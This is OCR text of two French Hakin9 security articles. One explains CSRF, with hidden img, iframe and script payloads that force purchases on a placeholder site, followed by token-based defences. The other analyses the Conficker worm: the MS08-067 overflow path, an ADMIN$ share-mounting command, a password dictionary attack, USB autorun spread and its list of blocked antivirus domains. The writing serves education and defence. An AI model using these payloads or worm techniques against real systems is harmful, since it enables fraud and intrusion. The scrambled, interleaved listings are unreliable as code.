ette faille prononce Sea-Surfing a un concept trs simple : forcer l'utilisateur tre le dclenchement d'une action. En d'autres termes, l'action va tre ralise par le navigateur de l'utilisateur sans s'en apercevoir. De plus, il faut signaler le fait que l'utilisateur doit avoir un privilge spcifique sur une plateforme concerne (comme par exemple un blog, site d'enchres etc.). Paralllement, une chose rajouter est que les attaques de type XSRF et XSS ne sont pas similaires. Une faille XSS est faite pour rediriger quelqu'un, rcuprer son cookie, ou avoir un Shell XSS, en d'autres termes, cette faille se fait en plusieurs tapes tandis qu'une faille de type XSRF se fait instantanment via le navigateur de la victime pour une action spcifique sur une plate-forme cible. Prenons l'exemple d'un site avec une authentification basique qui permet un utilisateur d'acheter des produits ainsi que les quantits souhaites. L'url en question serait de la forme : http://site.com/buy.php?product1=10&product2=20. Ds lors, une personne pourrait dtourner cela pour faire acheter la victime des produits non sollicits son insu sans l'alerter plus qu'autre chose. Les risques sont donc nombreux et varis vu l'expansion de la toile l'heure o nous parlons. Cela peut tre de changer un mot de passe, rcuprer des adresses mails, ou bien en envoyer mais aussi faire des transferts d'argent ou encore comme nous l'avons vu plus haut, acheter des produits.

Aprs avoir vu l'aspect global de ces vulnrabilits qui fleurissent sur le Web, nous allons maintenant nous intresser leur utilisation, comment les exploiter, pour ainsi comprendre comment scuriser ses applications Web un tel danger.

Utilisation l'encontre des utilisateurs

Nous allons donc reprendre l'exemple du site internet qui permet d'acheter certains produits. L'url qui nous permettait d'acheter certains produits tait du type : http://site.com/buy.php? product1=10&product2=20 Intressons-nous maintenant au code source de la page request.html, qui permet de stipuler les quantits de produits que nous voulons, et envoie cela au script buy.php (voir Listing 1). Comme nous avons pu le voir d'aprs l'url que nous avons donn, les quantits sont donns en GET dans l'url, ce qui veut dire que toutes les donnes transmises au script buy.php seront en clair dans l'url. Intressons-nous maintenant au script php qui rcupre les donnes : (voir Listing 2) Comme nous pouvons le voir, que nous utilisions $ _ GET ou $ _ REQUEST, le rsultat sera le mme car $ _ REQUEST regroupe les $ _ GET mais aussi les $ _ POST. Une personne mal intentionne pourrait donc faire en sorte qu'une personne inscrite sur ce site achte de nombreux produits, mais comment ? C'est ce que nous allons voir. Plusieurs mthodes se dessinent devant nous.

CSRF
Avant tout, la premire qui est la plus utilise consiste s'intresser aux attributs de la balise HTML <img>. Cette balise va donc nous permettre d'inclure une image. (En tout cas, la fonction premire de cette Dcomposition de la balise HTML <img> (nous nous intresserons qu' l'attribut src):
<img src="http://site.com/image.png">

Prenons par exemple ce cas l, si tout se passe bien, lorsque l'utilisateur va charger la page, l'image hberg sur http://site.com portant le nom de image.png va s'afficher. Le navigateur va donc envoyer une requte HTTP de type GET afin de la rcuperer (voir Figure 1). Dans un autre cas, si nous mettons
<img src="http://site.com">

Figure 1. Lorsqu'une image est bien charge via la balise <img>


</script> HTML : product1=10&product2=20";

<iframe name="csrf" SRC=

"http://site.com/buy.php? product1=10&product2=20" scrolling="no" height="0" width="0" FRAMEBORDER="no"></iframe>

(voir Figure 2). Ds lors, une autre requte HTTP de type GET va tre envoye http://site.com car le navigateur ne fait pas la diffrence entre une image ou pas. Ce qui fait que le site http://site.com recevra donc bien une requte HTTP de type GET. Maintenant, nous allons nous rintresser notre site qui permet de vendre diffrents produits. Si l'utilisateur navigue sur une page qui contient une balise <img> pointant vers l'url qui permet d'acheter diffrents produits, ce dernier l'aura excuter sur son propre compte. Un exemple d'exploit serait alors : (voir Listing 3) Dans ce cas l, sans que l'utilisateur s'en rende compte, celui-ci aura achet 10 quantits de produit1 et 20 quantits de produit2. Bien entendu, il n'existe pas seulement la balise <img> du HTML qui permet de faire cela. D'autres balises tel que <iframe> ou encore du JavaScript peuvent tre utilises afin de reproduire cette attaque. Nous allons donc montrer divers exemples d'utilisation comme par exemple avec la balise <script>:
<script src=http://site.com/buy.php? <script>

Nous mettons la hauteur et larguer du cadre 0 pour que celle-ci passe inaperu vis--vis de l'utilisateur dup. Nous allons nous intresser une pratique qui peut tre plus que dvastatrice qui est de coupler une XSRF avec une XSS. Listing 1. Script buy.php

En d'autres termes, si des applications Web sont vulnrables des injections de type XSS, vous pouvez faire en sorte d'y ajouter une CSRF. Prenons l'exemple d'un systme de blog qui permet de poster un commentaire au sujet d'un article spcifique. Si ce dernier module est faillible une injection XSS, nous pouvons alors y injecter un code malicieux permettant de faire des requtes vers un certain domaine ou rcuprer des informations sur les victimes. Nous pouvons aussi conjecturer le fait qu'ils sont peut tre inscrits sur le site permettant de faire des achats de produits et ainsi faire

<form action="buy.php" method="GET"> Symbol: <input type="text" name="product1" /><br /> <input type="submit" value="Acheter !" /> </form>

Listing 2. Script php a rcuprer les donnes


<?php $quantite1=$_GET['product1']; $quantite2=$_GET['product2']; buy($quantite1, $quantite2); ?>

Listing 3. Un exemple dexploit


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Exemple de faille XSRF</title> </head> <body> <img src="http://site.com/buy.php?product1=10&product2=20" /> </body> </html>

product1=10&product2=20></script>.

var foo = new Image();

foo.src = "http://site.com/buy.php?
3/2009 HAKIN9 27

PRATIQUE
acheter toutes ces victimes de nombreux produits pralablement choisis. Je ne vais donc pas expliquer le principe d'une faille XSS et comment l'exploiter, mais il suffirait d'inclure un script distant qui permettrait de faire afficher de nombreuses images travers l'attribut src et les faire pointer vers le script permettant d'acheter des produits. Cela pourrait tre mit en place grce la fonction document.write(); du JavaScript. Ex (script.js) :
document.write("<img src=\ 10&product2=20\" />");

concret qui permettrait de rsoudre une faille CSRF (voir Listing 5). Voyons maintenant le script PHP buy.php, savoir comment traite les donnes qu'il reoit (voir Listing 6). Dans ce cas l, nous regardons dj si le REFERER est le mme. Si cela est vrai, ds lors, nous dterminons si une variable est affecte grce la fonction PHP isset(); Si c'est le cas, nous pouvons alors commencer faire les traitements ncessaires. De plus nous partons dans le cas o l'utilisateur va Listing 4. Une condition dans script buy.php

rentrer de bonnes valeurs, il faudrait vrifier que ces dernires soient bien des nombres grce la fonction is_int(); de PHP. Dans les cas chants, de nombreux messages d'erreurs sont affichs pour expliquer la cause du problme. Paralllement, dans notre code PHP, nous avons utiliser le : $_POST, et non pas le $_REQUEST afin de spcifier que nous ne voulions que rcuprer les variables de type POST. Cela permet d'viter de nombreuses attaques de type CSRF.

"http://site.com/buy.php?product1=

Aprs avoir vu comment exploiter une faille de type XSRF, nous allons nous intresser aux mthodes qui peuvent nous permettre de palier ces risques de manire efficace. Comme nous avons pu le voir dans la partie prcdente, les failles de types CSRF peuvent tre trs dangereuses pour les usagers. Nous allons donc mettre en avant des techniques qui permettront de palier ces risques :

<?php if ($_SERVER['HTTP_REFERER'] == "http://site.com/request.php") { // traitement des donnes }else{ echo "L'action ne pourra pas tre ralise ! </br>"; } ?>

Listing 5. Rsoudre une faille CSRF


<!-- script request.html --!> <form action="buy.php" method="POST"> Symbol: <input type="text" name="product1" /><br /> Shares: <input type="text" name="product2" /><br /> <input type="submit" value="Acheter !" /> </form>

Prvention et scurisation des sites Web

Premirement, pour tous les scripts qui permettront de trater des donnes au moment d'actions sensibles : Lors d'achat, de vente de marchandise, d'envoi de mail, de changement de password etc. Il suffirait de faire une condition dans notre script buy.php(voir Listing 4). Malheureusement, il existe de nombreux moyens qui permettent une personne mal intentionne de spoofer son Referer pour faire croire qu'il vient d'un autre site. Je ne rentrerais pas dans les dtails mais il suffirait de changer quelques attributs au niveau du HTTP Header. (De nombreuses extensions (plug-ins) sont disponibles comme par exemple avec Mozilla Firefox et son LiveHTTPHeader). Une autre protection qui peut se rvler judicieuse est l'utilisation automatique des requtes $_POST au dtriment des requtes $_GET. Tous les exemples que j'ai montr se faisait via l'url, les lments taient donc envoys via la mthode GET. Grce la mthode POST, on pourrait viter de nombreux problmes, nous allons voir un exemple
28 HAKIN9 3/2009

Listing 6. Traitement de donnes dans le script buy.php


<?php if ($_SERVER['HTTP_REFERER'] == "http://site.com/request.php") { if (isset($_POST['product1']) && isset($_POST['product2'])){ $quantite1=$_POST['product1']; $quantite2=$_POST['product2']; buy($quantite1, $quantite2); }else{ echo "Les variables ne sont pas dclares ! "; } }else{ echo "L'action ne pourra pas tre ralise ! </br>"; } ?>

Listing 7. Source du fichier request.php


<?php session_start(); // va crer une session $jeton = md5(uniqid(rand(), TRUE)); // va gnrer un hash d'un nombre alatoire $_SESSION['jeton'] = $jeton; // la session se verra attribu la valeur du jeton ?> <form action="buy.php" method="POST"> <input type="hidden" name="jeton" value="<?php echo $jeton; ?>" /> <p> Symbol: <input type="text" name="product1" /><br /> Shares: <input type="text" name="product2" /><br /> <input type="submit" value="Acheter !" /> </p> </form>

CSRF

Sur Internet
Article qui permet de comprendre le principe des CSRF : http://www.apprendre-php.com/tutoriels/ tutoriel-39-introduction-aux-cross-siterequest-forgeries-ou-sea-surf.html Permet d'avoir une vue globale du sujet : http://fr.wikipedia.org/wiki/Cross-Site_ Request_Forgeries Article trs intressant de Chris Shiflett au sujet des attaques de type CSRF : http://shiflett.org/articles/cross-siterequest-forgeries FAQ pour ce qui est des attaques CSRF : http://www.cgisecurity.com/csrffaq.html#references

Figure 2. Lorsqu'une image est bien charge via la balise <img> Aprs avoir vu qu'il fallait vrifier nos Referer, favoriser les requtes POST aux requtes GET, nous allons traiter des Tokens ou autrement dit : Jetons. Les Tokens reprsentent des caractres gnrs de manire unique afin de proposer de manire efficace une authentification. Plus prcisment, lorsqu'une personne va tre sur la page du formulaire, un lment va y tre reprsent en prenant le type hidden pour pas que l'utilisateur le voit. Sa valeur sera un nombre alatoire qui aura subi un cryptage de type MD5. (Utilis pour les mots de pass sur internet). De plus nous utiliserons des sessions afin d'avoir un systme beaucoup Listing 8. Source du fichier buy.php
<?php session_start(); function buy(){ if (isset($_POST['jeton']) && isset($_SESSION['jeton'])){ if ($_POST['jeton'] == $_SESSION['jeton']){ echo "</br>L'action peut alors tre ralise !"; // traitement de l'opration session_destroy (); }else{ throw new Exception('Problme de session!'); } }else{ echo "Les variables ne sont pas dclares"; } } try { buy(); }catch (Exception $e){ echo "Exception : ".$e->getMessage()."</br>"; session_destroy(); } ?>

plus scuris. Le code correspondant serait donc (toute la page HTML n'a pas t reprsente, seulement les lments les plus importants y sont prsents.) : Source du fichier request.php (voir Listing 7). Ds lors, notre script buy.php ressemble cela : (la vrification du HTTP Referer n'a pas t faite, mais il suffit de reprendre l'exemple prcdent) : Source du fichier Buy.php (voir Listing 8). Cet exemple de code nous permettrait donc de protger les usagers de certains sites Web des attaques de type CSRF. Pour finir l'article, nous parlerons d'une dernire mesure pouvant tre mise en

place qui est le fait de faire valider toute action dites sensibles (Changer un mot de passe, etc...). Pour cela il suffit de faire une fonction et voir ce qu'elle renvoie. Par exemple, nous pourrions raliser un mini-formulaire avec deux champs. Choisir Oui ou Non et ainsi renvoyer la rponse (voir Listing 9). Il suffirait ensuite de vrifier l'existence d'une variable et interprter le script en fonction des exigences de l'utilisateur.

Conclusion

Pour conclure, nous avons pu montrer que les risques des failles XSRF taient nombreux. Il y a box taient disponibles sur internet. De nombreuses box avaient pour login/pass : admin/admin. Ds lors, il tait trs facile de lancer une attaque contre ces dernires. Paralllement, des applications telles que Gmail, qui ont corrig une vulnrabilit qui permettait une personne mal intentionne de rcuprer la liste des contacts d'un utilisateur. Les failles de type Cross-Site Request Forgeries n'ont donc pas dit leur denier mots et vont srement tre rcurrente au niveau des applications Web futures.

Listing 9. Mini-formulaire OUI/NON


<!-- extrait de confirm.html --!> <form action="#" method="POST"> Oui :<input type="radio" name="reponse" value="oui"></br> Non :<input type="radio" name="reponse" value="non"></br> <input type="submit" value="Confirmer !"> </form>

Amar Paul

Il est actuellement en DUT informatique Fontainebleau. Il est passionn par la scurit informatique depuis plusieurs annes. Depuis peu, il sintresse la scurit des systmes dinformations afin de comprendre les risques ventuels et les moyens mis en place permettant de palier ces problmes de scurit. Par la suite, il aimerait raliser un diplme dingnieur en informatique.

3/2009 HAKIN9

29

FOCUS
FRDRIC CHARPENTIER, XMCO PARTNERS

Conficker,
le ver qui rveille la scurit informatique
250.000 dollars, c'est le montant de la somme offerte par Microsoft pour toute information conduisant l'arrestation de l'auteur du ver Conficker.

Degr de difficult

eux ans aprs la fameuse vulnrabilit MS06-040 sans doute la faille prfre des pentesters -, le service Server est une nouvelle fois point du doigt cause dune vulnrabilit critique : lenvoi dune requte RPC malicieuse permet de provoquer un dbordement de mmoire et dexcuter un code arbitraire sur une machine distante. Peu de temps aprs la publication de cette vulnrabilit sous le nom MS08-067, les premiers exploits sont publis au sein du framework Metasploit. Comme lavait prdit Microsoft dans son bulletin, toutes les conditions taient runies pour un wormable exploit .

Chronologie du dsastre

Gimmiv.A . Ce premier ver se concentrer sur le vol des hashs des comptes utilisateurs du systme, ainsi que les mots de passe Outlook. Le 21 novembre 2008, un second ver a t baptis Worm:Win32/Conficker.A . Celui-ci se propageait aussi en exploitant la vulnrabilit MS08-067. Quelques jours plus tard, le 29 dcembre 2008, le ver Conficker (Worm:Win32/Conficker.B) a t diffus. Les pirates, dorigine ukrainienne selon les premires rumeurs, ont cette fois-ci mis le paquet en dveloppant un ver capable d'infecter de nombreuses machines et de se rpandre par dautres moyens astucieux

CET ARTICLE EXPLIQUE...


Comment se propage le ver Conficker. Les particularits qui font de ce code le ver le plus performant de tous les temps.

CE QU'IL FAUT SAVOIR...


Connaissances des systmes Windows. Notions de base des protocoles TCP/IP. 30 HAKIN9 3/2009

Le 23 octobre 2008, Microsoft publie un bulletin de scurit critique out-of-band, cest--dire un patch pour une vulnrabilit tellement critique que Microsoft ne souhaite pas attendre le deuxime mardi du mois comme l'accoutume. Tout de suite, les pirates et crateurs de virus comprennent limportance de la vulnrabilit en question, dautant quaucune vulnrabilit naffectant un service prsent sur tous les systmes Windows le service de partage de fichiers navait t dcouverte depuis 2006. Le 28 octobre, un premier exploit fonctionnel exploitant la faille est publi sur Milw0rm par un certain Polymorphours. Trs rapidement, un premier ver exploitant la faille MS08-067 a t dcouvert et nomm

Mthodes dinfection : Exploits, mots de passe par triviaux et supports USB


Il y a plusieurs mthodes d`infection des machines par le ver Conficker.

Exploitation de la vulnrabilit du service Server


Le ver Conficker ou Downloadup exploite la faille MS08-067 pour infecter les autres machines joignables sur le rseau. Le modus operandi est en deux tapes: chaque poste infect dmarre un serveur web local et tente dinfecter toutes les machines possibles situes sur le rseau local ou sur Internet en envoyant des requtes RPC

CONFICKER
malicieuses exploitant le dbordement de tampon. Ds que le dbordement de tampon russit sur une machine, un code malicieux (shellcode) est excut. Celui-ci tente alors de tlcharger en HTTP une copie complte du ver stock sur le serveur web en coute sur la premire machine infecte. De faon similaire, la nouvelle copie du ver tentera ensuite de se rpandre nouveau. Une fois toutes ces informations rcupres et traites, le ver va tenter de sauthentifier sur le partage ADMIN$ des machines quil na pas russi infecter en exploitant la faille MS08-067. Pour cela, Conficker va tester une liste de mots de passe triviaux pour les comptes identifis prcdemment avec EnumDomainUsers. Il sagit bien dune vritable attaque par dictionnaire intelligente, puisquelle est base sur les vritables noms des utilisateurs (logins) du domaine Microsoft. De faon schmatique, le ver utilise une commande pour monter les partages ADMIN$, tel que:
net use X: \192.168.10.50\

ADMIN$ /USER:administrateur

La capture suivante illustre les mots de passe tests par le ver (voir Figure 2).

Diffusion via les ports USB


Conficker tente galement dinfecter tous les supports amovibles connects la machine infecte : clefs USB, disques durs externes, cartes dappareils photo. Pour cela, le ver se copie la racine des supports USB au sein dun dossier nomm RECYCLER et sous un nom alatoire de la forme :

Attaque par dictionnaire sur les rpertoires partags et le dossier ADMIN$


Une fois sur le systme, le but dun ver est bien videmment dinfecter le plus grand nombre de machines. Conficker possde des rflexes dignes dun pentester : celui-ci va parcourir et tenter de se copier sur les volumes rseau partags sur la machine victime. Dans un premier temps, Conficker utilise les credentials (les droits Microsoft) du compte Administrateur local du poste infect. Cette premire technique est particulirement intressante dans le cas o les machines dun rseau sont masterises, cest--dire bases sur une image dinstallation commune qui possde le mme compte Administrateur local. Dans un premier temps, Conficker utilise les credentials (les droits Microsoft) de lutilisateur de la session. Cette technique est particulirement intressante dans le cas o lutilisateur de la session est loggu en tant quAdministratrateur du domaine : Conficker utilisera de facto ces droits et pourra se rpandre sur lintgralit des machines du domaine qu'elles soient patche ou non. Dans un second temps, le Conficker envoie des requtes NETBIOS bien connues des spcialistes en tests dintrusion, savoir EnumDomainUsers. Comme son nom lindique, cette requte permet de lister les utilisateurs du domaine lorsque la null-session Microsoft na pas t dsactive. Le ver utilise dautres requtes comme QueryUserInfo pour lister les utilisateurs locaux dune machine, GetUserPwInfo pour connatre lge des mots de passe ou encore GetGroupForUser afin didentifier les droits des utilisateurs.

Quelle est donc cette faille exploite par Conficker ?

Conficker exploite une faille de scurit des systmes Windows publie et corrige en octobre 2008 par Microsoft. Cette faille, rfrence sous le code MS08-067 ou CVE-2008-4250, est due un bug de type stack buffer overflow. Il s'agit donc d'un dbordement de tampon relativement classique. De surcroit, ce bug est situ dans une partie du code trs proche d'un prcdent bug critique, le bug MS06-040. La question est lgitime : pourquoi cette faille n'a pas t dcouverte et corrige plus tt par Microsoft ? Une partie de la rponse rside dans la nature de la fonction vulnrable : NetPathCanonicalize(), prsente dans la librairie netapi32.dll. Cette fonction a pour objectif de traiter les chaines de caractres correspondant des chemins d'accs (path) reus lors des requtes MSRPC d'une autre machine. C'est le procd de canonicalization ou de normalisation du chemin d'accs. En effet, il existe une multitude de faons d'crire un chemin d'accs. Par exemple, nous pouvons crire c: \dossier\file.txt ; mais il est aussi possible d'crire c:\dossier\.\../dossier\file.TXT . Le rl de la fonction NetPathCanonicalize() est de normaliser les chemins avant de les passer aux fonctions suivantes du service Server. La multitude de variantes possibles oblige donc la fonction raliser un grand nombre de boucle while() et d'utilisation de compteur. Comme le fait remarquer un ingnieur scurit de Microsoft, l'ironie est que le bug apparait dans une fonction qui contrle la taille du buffer reue ! Voici la fonction vulnrable :
_tcscpy_s(previousLastSlash, pBufferEnd - previousLastSlash, ptr + 2);

Le bug est d au fait que l'argument previousLastSlash pass la fonction _tcscpy_s() peut, dans certaines situations complexes, se retrouver avec une valeur inconsistante. Ds lors, la fonction peut planter et le contenu incontrl de la chaine traite peut se retrouver sur la pile mmoire : le buffer overflow est ici. Ce dbordement est exploitable depuis le rseau avec une connexion sur le port TCP/139 ou le port TCP/445 d'une machine Windows avec le service Server dmarr, c'est--dire le service en charge du partage de fichiers et des imprimantes. Le bug peut alors tre dclench en demandant une ressource rseau avec un chemin de la forme : \c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA . La chaine AAAAA dbordera sur la pile. L'exploit consiste remplacer cette chaine par un shellcode suivi d'une suite d'adresses de retour judicieusement calcule. Lors que la fonction _ tcscpy _ s() plantera en traitant les \..\ du chemin d'accs, l'adresse de retour pointera sur le dbut du shellcode. Ok, mais la protection /GS naurait-elle pas d protger contre ce dbordement ? Daprs Microsoft, ce bug est dclench avant lutilisation de la protection. Toujours d'aprs Microsoft, seuls des tests de fuzzing pousss auraient pu dtecter cette faille. Le nouveau processus qualit logiciel Microsoft Security Development Lifecycle (SDL) ne l'avait pas vu. Peut-on vraiment leur en vouloir ?

3/2009 HAKIN9

31

FOCUS
U:\RECYCLER\S-%d-%d-%d-%d%d%d-%d%d% d-%d%d%d-%d\<random letters>.dll

Un fichier autorun.inf est alors gnr. Ce fichier permettra dexcuter automatiquement le ver lorsque le support USB sera branch sur un autre ordinateur. Pour que ce dmarrage automatique fonctionne, la machine victime doit avoir la fonction Autorun active (voir la cl de registre NoDriveTypeAutoRun). Pour compliquer la chose, une fois excut sur une machine par un moyen ou un autre, Conficker

Actions sur les systmes infects?


On peut noter plusieurs actions sur les systmes infects.

Excution au dmarrage
Une fois install sur le poste victime, Conficker va raliser diverses oprations malicieuses. Comme quasiment tous les vers, Conficker ajoute une clef de registre (HKCU\ Software\Microsoft\Windows\CurrentVersion\ Run) afin de sexcuter automatiquement au prochain dmarrage du poste. Conficker sinstalle galement en tant que service (HKLM\SYSTEM\ CurrentControlSet\Services) qui sera lanc de faon transparente par le service gnrique svchost.exe.

Figure 1. Propagation de Conficker Windows Update Service, Background Intelligent Transfer Service, Windows Defender, Windows Error Reporting Services. Comme voqu plus haut, lorsque Conficker tente dinfecter dautre machine via la vulnrabilit MS08-067, le code malicieux plac au sein de la charge utile de lexploit (le shellcode) indique la nouvelle machine compromise de venir tlcharger en HTTP, sur ce port fraichement ouvert, une copie du ver. Laspect alatoire de ce port rend donc impossible toute tentative de protection contre la diffusion de Conficker en bloquant simplement le port HTTP utilis par le ver sur les routeurs du rseau interne! Reste le problme des routeurs, boitiers ADSL et passerelles en tout genre qui bien entendu bloquent les flux entrants. Pour parer ce problme, les auteurs de Conficker emploient une autre astuce dtaille dans la partie particularit qui permet douvrir temporairement certains ports : le protocole UPNP

Dsactivation des services scurit et monitoring DNS


Ds lors, Conficker va venir dsactiver quatre principaux services de scurit Windows, savoir :
Ds quune machine est exploite avec succs, le ver profite pour scanner toute la plage dadresses associe (classe C). Par ailleurs, le ver implmente un mcanisme de blacklist. En effet, plusieurs plages dadresses appartenant aux diteurs dantivirus sont crites en dur au sein de la configuration du ver afin dviter dattaquer les honeypots de ces socits. Exploitation de la vulnrabilit MS08067, Excution du shellcode, Tlchargement HTTP d'une copie du malware, Propagation du ver sur le rseau local, mais galement sur Internet partir d'une gnration alatoire d'adresses IP.

Conficker dtecte ensuite lantivirus install sur la machine infecte et le dsactive immdiatement. Encore plus fort, le ver va bloquer les rsolutions DNS contenant des mots-clefs associs des diteurs antivirus: cela permet de bloquer les mises jour automatiques des signatures. Voici la liste des diffrents mots-clefs blacklists: ahnlab; arcabit; avast; avg.; avira; avp.; bit9.; ca.; castlecops; centralcommand; cert.; clamav; comodo; computerassociates; cpsecure; defender; drweb; emsisoft; esafe; eset; etrust; ewido; f-prot; f-secure; fortinet; gdata; grisoft; hacksoft; hauri; ikarus; jotti; k7computing; kaspersky; malware; mcafee; microsoft; nai.; networkassociates; nod32; norman; norton; panda; pctools; prevx; quickheal; rising; rootkit; sans.; securecomputing; sophos; spamhaus; spyware; sunbelt; symantec; threatexpert; trendmicro; vet.; ver; wilderssecurity; windowsupdate

Cration dune tche planifie


Aprs avoir compromis une machine, une tche planifie est cre par le ver avec la commande : rundll32.exe
<nom du ver>.dll,<paramtres>.

Suppression des points de restauration


Une des dernires oprations malicieuses menes par le ver consiste supprimer tous les points de restauration prsents sur le systme victime. Ainsi, lutilisateur ne pourra pas essayer de revenir un point de restauration antrieur linfection pour remettre en tat son systme.

Ouverture de ports sur le pare-feu Windows


Conficker prend ses aises et ouvre un port TCP dans le pare-feu Windows. La valeur de ce port est alatoire et le service http utilis pour la diffusion du ver y est alors attach.

32

HAKIN9 3/2009

CONFICKER
Conficker utilise pour cela une API peu connue: la librairie System Restore Client (srclient.dll) et la fonction ResetSR(). La vritable charge utile nest donc pas encore oprationnelle. Les pirates sont sans doute en train de prparer une nouvelle version qui cette fois-ci aura une relle utilit. local, exploitation des ventuels mots de passe faibles des comptes du domaine ou encore linfection des cls USB. De quoi se propager partout sur un rseau Windows

Rfrencement des machines infectes


Le ver se connecte ensuite des serveurs web publics afin de se faire connatre du botnet et de se rfrencer parmi les autres machines infectes. Pour cela, un algorithme dj cass par les chercheurs de Symantec permet de gnrer des noms de domaine alatoires. Les URLs en question pointent toujours vers les domaines suivants : .cc, .cn, .ws, .com, .net, .org, .info, .biz. Les URLs utilises par Conficker sont de la forme suivante:
http://<pseudo-random

Les spcificits qui rendent Conficker extrmement puissant

Golocalisation et fingerprinting
La golocalisation est devenue la mode, en particulier depuis que les frameworks dexploitation de vulnrabilits tels que MPACK ou Tornado l'ont mise en place. Cependant, il est rare de voir un ver utiliser de telles mthodes afin de golocaliser les victimes. Dautres avaient dj utilis cette mthode (cf W32.Kernelbot.A ou W32.Wecori). La premire version de Conficker utilisait des donnes tlcharges partir dun site connu (www.maxmind.com) afin dajouter cette fonctionnalit son attirail. LURL suivante tait crite en dur au sein du code du ver.
http://www.maxmind.com/download/ geoip/database/GeoIP.dat.gz

De nombreuses particularits distinguent ce ver des autres vers mdiatiss comme lont t Blaster ou Sasser.

Une utilit encore mconnue


Premirement, aucune charge utile na pour le moment t utilise, ce qui est suspect. Les pirates auraient pu profiter du pic atteint il y a quelques jours afin de lancer une attaque.

generated URL>/search?q=%d

Des moyens de propagations pluridisciplinaires


La particularit du ver vient du fait quil nexploite pas uniquement une seule vulnrabilit, mais quil tente dautres moyens de contamination : propagation sur les volumes rseau monts, utilisation des credentials du compte Administrateur P U B L

Chaque jour, 250 noms de domaine diffrents sont crs. Les machines infectes se connectent alors toutes aux nouveaux serveurs enregistrs par les pirates auprs de Registrar peu regardants Le ver utilise galement ce procd pour tlcharger de nouvelles versions et probablement de futures charges utiles ad-hoc : spywares, bankers, module DDOS, etc.

Cependant, quelques jours aprs une augmentation considrable du nombre I C I T

quoi sert-il vraiment ?


Certes, Conficker ralise un grand nombre doprations, mais quoi sert-il vraiment? Aprs avoir t longuement analys, il savre que personne na, lheure o nous crivons cet article, pu dterminer lutilit relle de ce ver. La plupart des vers sont dvelopps dans un but prcis, que ce soit pour le vol didentifiants, de cartes bleues ou encore pour constituer un botnet capable de lancer des attaques DDOS. Concernant Conficker, le mystre reste entier, comme le confirment plusieurs chercheurs: There's no telling what kind of damage this could inflict.We know that this is usually financially motivated, so we're just waiting to see what happens next Derek Brown de TippingPoint's DVLabs. We don't know who controls this thing and what their motivations are [] Who knows what's going to happen, Thomas Cross, IBM ISS X-Force
3/2009 HAKIN9 33

FOCUS
de tlchargements de ce fichier, les administrateurs de MaxMind lont supprim laissant ainsi la fonctionnalit de Geolocalication inutilisable La mise jour du ver au mois de dcembre a rgl ce problme en insrant directement la fonction de golocalisation au sein du code du ver. Une autre particularit releve par les diffrentes analyses de Conficker est la capacit de fingerprinting utilise par le ver. Les techniques de fingerprinting consistent identifier la version de lOS distant. Cette identification est primordiale pour assurer la russite du dbordement de tampon exploitant la faille MS08-67. En effet, la valeur de ladresse de retour (OPCODE) est diffrente pour chaque version de Windows (XP SP1, XP SP2, XP SP3, Vista, 2000 SP4, et la version franaise, anglaise, etc). Pour raliser ce fingerprinting, Conficker utilise les requtes RPC SMB Session Setup qui forcent lOS distant rvler sa version. Les auteurs du ver semblent avoir tout simplement copi cette fonction depuis le module smb _ fingerprint de Metasploit 3.2. correspondent, la machine se connecte sur la premire laide du protocole HTTP et un change de fichiers de configuration peut alors commencer. Ce transfert dinformation peer-to-peer permet de sassurer que chaque machine infecte possde le fichier de configuration le plus rcent.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\ Windows\CurrentVersion\-Policies\ Explorer\NoDriveTypeAutoRun

Lutilisation du protocole UPNP


La dernire particularit du ver est lie lutilisation du protocole UPNP: afin de pouvoir recevoir les requtes HTTP entrantes des machines fraichement infectes, Conficker utilise le protocole Plug and Play pour ouvrir et natter le port HTTP sur les routeurs du rseau local. Le ver envoie une requte UDP MSEARCH afin de dcouvrir les quipements implmentant UPNP. Les rponses reues contiennent alors ladresse du fichier de configuration. Le ver rcupre le fichier de configuration des quipements et rutilise les fonctions proposes au sein de ce fichier pour envoyer des requtes de contrle permettant de natter de faon transparente le

Pour les utilisateurs de Windows XP, lUS-CERT suggre une mthode pour dsactiver plus efficacement lAutoplay (voir lien en rfrence). Enfin, les serveurs et les postes de travail doivent utiliser des mots de passe solides. Pour cela, un inventaire des comptes locaux et des comptes du domaine doit tre ralis. Tous les comptes obsoltes ou les comptes possdant un mot de passe trivial doivent tre dsactivs. Il sagit ici de raliser un vritable audit de scurit.

Conclusion

Le ver qui patche pour protger son territoire


Une autre caractristique de Conficker rside dans sa capacit patcher en mmoire le systme vulnrable une fois infect. En effet, le ver corrige en appliquant un patch, ce qui vite que dautres vers ninfectent galement la machine. Ds quune tentative dexploitation de la vulnrabilit MS08-067 est identifie sur une machine dj infecte, Conficker compare le shellcode reu avec le shellcode normalement utilis. Si les deux

Existait-il des moyens pour prvenir linfection ?


Plusieurs rgles lmentaires de scurit permettent de lutter efficacement contre Conficker et contre de nombreuses autres menaces. Tout dabord, il est indispensable dappliquer immdiatement tous les correctifs de scurit critique. Le correctif MS08-067 a t publi 15 jours avant les premires infections. Le vieil adage, souvent entendu en entreprise, disant quil faut attendre 1 mois avant dappliquer un correctif doit tre proscrit. En effet, les crateurs de virus nattendent pas un moins avant de diffuser leurs codes nocifs. Ensuite, les antivirus doivent implmenter les dernires signatures. Cela semble vident, mais sur un parc de plus de 10000 machines, il est difficile dassurer une mise jour parfaite J+1. Puis, certains renforcements standards tels que la dsactivation de la fonction Autoplay sont indispensables. Cela permet dinterdire la lecture du fichier autorun.inf dpos par le ver sur les supports USB, voire dinterdire simplement les cls USB. Pour dsactiver lAutoplay, il est ncessaire de modifier la cl de registre suivante avec la valeur 000000ff.

Sur le rseau
Les informations officielles sur la faille et le correctif Microsoft : http://www.microsoft.com/technet/ security/Bulletin/MS08-067.mspx Dcompilation du correctif MS08-067 sur le blog d'Alex Sotirov : http://www.phreedom.org/blog/2008/ decompiling-ms08-067/ L'Autorun n'est jamais compltement dsactiv sur Windows XP : http://www.us-cert.gov/cas/techalerts/ TA09-020A.html

